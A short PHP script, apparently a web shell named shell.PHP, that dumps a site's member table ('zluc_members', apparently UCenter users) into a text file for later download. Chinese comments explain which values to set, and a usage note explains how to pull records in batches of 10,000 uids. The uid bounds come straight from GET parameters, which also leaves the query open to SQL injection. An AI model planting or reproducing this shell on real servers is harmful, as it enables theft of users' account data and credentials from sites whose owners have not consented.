<?php $SQL_Server="xxxxxx:3306"; $SQL_User="xxxx"; $SQL_Name="xxxx"; $SQL_Pass="xxxxxxxx"; //配置数据库信息 $conn=@mysql_connect($SQL_Server,$SQL_User,$SQL_Pass); if ($conn==FALSE) { echo "数据库连接出错!<br>"; exit(); } if (@mysql_select_db($SQL_Name,$conn)==FALSE) { echo "打开数据库:".$SQL_Name." 失败!"; exit(); } mysql_query("set names 'utf8'"); $sql = "SELECT * FROM `zluc_members` where 'uid' between ".$_GET["a"]." and ".$_GET["b"].""; //配置表名字段名 $c = mysql_query($sql); while($result = mysql_fetch_array($c)) { foreach ($result as $key => $val) { if (is_numeric($key)) { unset($result[$key]); } } file_put_contents('/home/www/uc/uc/data/all.txt', implode(' ', $result)." ", FILE_APPEND);//配置可写的路径 } ?>
//使用方法:shell.PHP?a=0&b=10000 就导出了uid 0到1万之内的数据了,并写入all.txt内 再访问:shell.PHP?a=10001&b=20000 就导出了 uid 1万到2万内的数据了,并继续写入all.txt 之后,你只要下载all.txt即可